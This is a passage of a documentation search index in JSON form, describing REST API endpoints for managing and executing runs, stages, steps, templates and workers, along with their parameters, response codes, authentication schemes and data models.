200"},{"location":"interfaces/core-rest-api/#security_22","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_3","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_23","title":"Description","text":"<p>Delete Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_19","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_23","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_23","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidexecute","title":"/api/runs/{id}/execute/","text":""},{"location":"interfaces/core-rest-api/#post_9","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_24","title":"Description","text":"<p>Execute Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_20","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_24","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_24","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidget_plan","title":"/api/runs/{id}/get_plan/","text":""},{"location":"interfaces/core-rest-api/#get_11","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_25","title":"Description","text":"<p>Get Plan's YAML.</p>"},{"location":"interfaces/core-rest-api/#parameters_21","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_25","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_25","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidkill","title":"/api/runs/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_10","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_26","title":"Description","text":"<p>Kill Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_22","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_26","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_26","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidpause","title":"/api/runs/{id}/pause/","text":""},{"location":"interfaces/core-rest-api/#post_11","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_27","title":"Description","text":"<p>Pause Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_23","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_27","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_27","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidpostpone","title":"/api/runs/{id}/postpone/","text":""},{"location":"interfaces/core-rest-api/#post_12","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_28","title":"Description","text":"<p>Postpone Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_24","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_28","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_28","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidreport","title":"/api/runs/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_12","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_29","title":"Description","text":"<p>Generate Run report.</p>"},{"location":"interfaces/core-rest-api/#parameters_25","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_29","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_29","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidreschedule","title":"/api/runs/{id}/reschedule/","text":""},{"location":"interfaces/core-rest-api/#post_13","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_30","title":"Description","text":"<p>Reschedule Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_26","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_30","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_30","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidschedule","title":"/api/runs/{id}/schedule/","text":""},{"location":"interfaces/core-rest-api/#post_14","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_31","title":"Description","text":"<p>Schedule Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_27","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_31","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_31","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidunpause","title":"/api/runs/{id}/unpause/","text":""},{"location":"interfaces/core-rest-api/#post_15","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_32","title":"Description","text":"<p>Resume Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_28","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_32","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_32","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidunschedule","title":"/api/runs/{id}/unschedule/","text":""},{"location":"interfaces/core-rest-api/#post_16","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_33","title":"Description","text":"<p>Unschedule Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_29","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_33","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_33","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidvalidate_modules","title":"/api/runs/{id}/validate_modules/","text":""},{"location":"interfaces/core-rest-api/#post_17","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_34","title":"Description","text":"<p>Validate modules in Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_30","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_34","title":"Responses","text":"Code Description 200 404 500"},{"location":"interfaces/core-rest-api/#security_34","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apischema","title":"/api/schema/","text":""},{"location":"interfaces/core-rest-api/#get_13","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_35","title":"Description","text":"<p>OpenApi3 schema for this API. Format can be selected via content negotiation.</p> <ul> <li>YAML: application/vnd.oai.openapi</li> <li>JSON: application/vnd.oai.openapi+json</li> </ul>"},{"location":"interfaces/core-rest-api/#parameters_31","title":"Parameters","text":"Name Located in Description Required Schema format query No string lang query No string"},{"location":"interfaces/core-rest-api/#responses_35","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_35","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executions","title":"/api/stage_executions/","text":""},{"location":"interfaces/core-rest-api/#get_14","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_36","title":"Description","text":"<p>List Stage executions.</p>"},{"location":"interfaces/core-rest-api/#parameters_32","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string plan_execution_id query Plan execution ID used to filter the results. No integer stage_model_id query Stage ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses_36","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_36","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsid","title":"/api/stage_executions/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_15","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_37","title":"Description","text":"<p>Get existing Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_33","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_37","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_37","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_4","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_38","title":"Description","text":"<p>Delete Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_34","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_38","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_38","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsidkill","title":"/api/stage_executions/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_18","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_39","title":"Description","text":"<p>Kill Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_35","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_39","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_39","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsidre_execute","title":"/api/stage_executions/{id}/re_execute/","text":""},{"location":"interfaces/core-rest-api/#post_19","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_40","title":"Description","text":"<p>Re-execute Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_36","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_40","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_40","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsidreport","title":"/api/stage_executions/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_16","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_41","title":"Description","text":"<p>Generate Stage execution report.</p>"},{"location":"interfaces/core-rest-api/#parameters_37","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_41","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_41","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistages","title":"/api/stages/","text":""},{"location":"interfaces/core-rest-api/#get_17","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_42","title":"Description","text":"<p>List Stages.</p>"},{"location":"interfaces/core-rest-api/#parameters_38","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_42","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_42","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_20","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_43","title":"Description","text":"<p>Create Stage under Plan. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_43","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_43","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistagesid","title":"/api/stages/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_18","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_44","title":"Description","text":"<p>Get existing Stage.</p>"},{"location":"interfaces/core-rest-api/#parameters_39","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_44","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_44","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_5","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_45","title":"Description","text":"<p>Delete Stage.</p>"},{"location":"interfaces/core-rest-api/#parameters_40","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_45","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_45","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistagesidstart_trigger","title":"/api/stages/{id}/start_trigger/","text":""},{"location":"interfaces/core-rest-api/#post_21","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_46","title":"Description","text":"<p>Start Stage's trigger under Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_41","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_46","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_46","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistagesvalidate","title":"/api/stages/validate/","text":""},{"location":"interfaces/core-rest-api/#post_22","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_47","title":"Description","text":"<p>Validate Stage YAML. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_47","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_47","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executions","title":"/api/step_executions/","text":""},{"location":"interfaces/core-rest-api/#get_19","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_48","title":"Description","text":"<p>List Step executions.</p>"},{"location":"interfaces/core-rest-api/#parameters_42","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string stage_execution_id query Stage execution ID used to filter the results. No integer step_model_id query Step ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses_48","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_48","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsid","title":"/api/step_executions/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_20","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_49","title":"Description","text":"<p>Get existing Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_43","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_49","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_49","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_6","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_50","title":"Description","text":"<p>Delete Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_44","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_50","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_50","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsidkill","title":"/api/step_executions/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_23","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_51","title":"Description","text":"<p>Kill Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_45","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_51","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_51","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsidre_execute","title":"/api/step_executions/{id}/re_execute/","text":""},{"location":"interfaces/core-rest-api/#post_24","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_52","title":"Description","text":"<p>Re-execute Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_46","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_52","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_52","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsidreport","title":"/api/step_executions/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_21","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_53","title":"Description","text":"<p>Generate Step execution report.</p>"},{"location":"interfaces/core-rest-api/#parameters_47","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_53","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_53","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apisteps","title":"/api/steps/","text":""},{"location":"interfaces/core-rest-api/#get_22","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_54","title":"Description","text":"<p>List Steps.</p>"},{"location":"interfaces/core-rest-api/#parameters_48","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_54","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_54","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_25","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_55","title":"Description","text":"<p>Create Step under Stage. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_55","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_55","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistepsid","title":"/api/steps/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_23","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_56","title":"Description","text":"<p>Get existing Step.</p>"},{"location":"interfaces/core-rest-api/#parameters_49","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_56","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_56","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_7","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_57","title":"Description","text":"<p>Delete Step.</p>"},{"location":"interfaces/core-rest-api/#parameters_50","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_57","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_57","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistepsidexecute","title":"/api/steps/{id}/execute/","text":""},{"location":"interfaces/core-rest-api/#post_26","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_58","title":"Description","text":"<p>Execute Step under Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_51","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_58","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_58","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistepsvalidate","title":"/api/steps/validate/","text":""},{"location":"interfaces/core-rest-api/#post_27","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_59","title":"Description","text":"<p>Validate Step YAML. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_59","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_59","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apitemplates","title":"/api/templates/","text":""},{"location":"interfaces/core-rest-api/#get_24","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_60","title":"Description","text":"<p>List templates.</p>"},{"location":"interfaces/core-rest-api/#parameters_52","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_60","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_60","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_28","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_61","title":"Description","text":"<p>Create new template.</p>"},{"location":"interfaces/core-rest-api/#responses_61","title":"Responses","text":"Code Description 201"},{"location":"interfaces/core-rest-api/#security_61","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apitemplatesid","title":"/api/templates/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_25","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_62","title":"Description","text":"<p>Get existing template.</p>"},{"location":"interfaces/core-rest-api/#parameters_53","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan template model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_62","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_62","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_8","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_63","title":"Description","text":"<p>Delete template.</p>"},{"location":"interfaces/core-rest-api/#parameters_54","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan template model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_63","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_63","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apitemplatesidget_template","title":"/api/templates/{id}/get_template/","text":""},{"location":"interfaces/core-rest-api/#get_26","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_64","title":"Description","text":"<p>Get template (its YAML).</p>"},{"location":"interfaces/core-rest-api/#parameters_55","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan template model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_64","title":"Responses","text":"Code Description 200 404 500"},{"location":"interfaces/core-rest-api/#security_64","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiworkers","title":"/api/workers/","text":""},{"location":"interfaces/core-rest-api/#get_27","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_65","title":"Description","text":"<p>List Workers.</p>"},{"location":"interfaces/core-rest-api/#parameters_56","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_65","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_65","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_29","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_66","title":"Description","text":"<p>Create new Worker.</p>"},{"location":"interfaces/core-rest-api/#responses_66","title":"Responses","text":"Code Description 201 400"},{"location":"interfaces/core-rest-api/#security_66","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiworkersid","title":"/api/workers/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_28","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_67","title":"Description","text":"<p>Get existing Worker.</p>"},{"location":"interfaces/core-rest-api/#parameters_57","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this worker model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_67","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_67","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_9","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_68","title":"Description","text":"<p>Delete Worker.</p>"},{"location":"interfaces/core-rest-api/#parameters_58","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this worker model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_68","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_68","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiworkersidhealthcheck","title":"/api/workers/{id}/healthcheck/","text":""},{"location":"interfaces/core-rest-api/#post_30","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_69","title":"Description","text":"<p>Check if Worker is responding.</p>"},{"location":"interfaces/core-rest-api/#parameters_59","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this worker model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_69","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_69","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#models","title":"Models","text":""},{"location":"interfaces/core-rest-api/#createdetail","title":"CreateDetail","text":"Name Type Description Required detail string Yes id integer Yes"},{"location":"interfaces/core-rest-api/#createmultipledetail","title":"CreateMultipleDetail","text":"Name Type Description Required detail string Yes ids [ integer ] Yes"},{"location":"interfaces/core-rest-api/#createwithfiles","title":"CreateWithFiles","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes"},{"location":"interfaces/core-rest-api/#detaildictionary","title":"DetailDictionary","text":"Name Type Description Required detail object Yes"},{"location":"interfaces/core-rest-api/#detailstring","title":"DetailString","text":"Name Type Description Required detail string Yes"},{"location":"interfaces/core-rest-api/#executioncreatedetail","title":"ExecutionCreateDetail","text":"Name Type Description Required detail string Yes execution_id integer Yes"},{"location":"interfaces/core-rest-api/#executionvariable","title":"ExecutionVariable","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes value object Yes plan_execution integer Yes"},{"location":"interfaces/core-rest-api/#executionvariablecreate","title":"ExecutionVariableCreate","text":"Name Type Description Required plan_execution_id integer Yes file string (uri) Yes"},{"location":"interfaces/core-rest-api/#log","title":"Log","text":"Name Type Description Required detail string Yes"},{"location":"interfaces/core-rest-api/#paginatedexecutionvariablelist","title":"PaginatedExecutionVariableList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedloglist","title":"PaginatedLogList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedplanexecutionlist","title":"PaginatedPlanExecutionList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedplanlist","title":"PaginatedPlanList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedplantemplatelist","title":"PaginatedPlanTemplateList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedrunlist","title":"PaginatedRunList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] 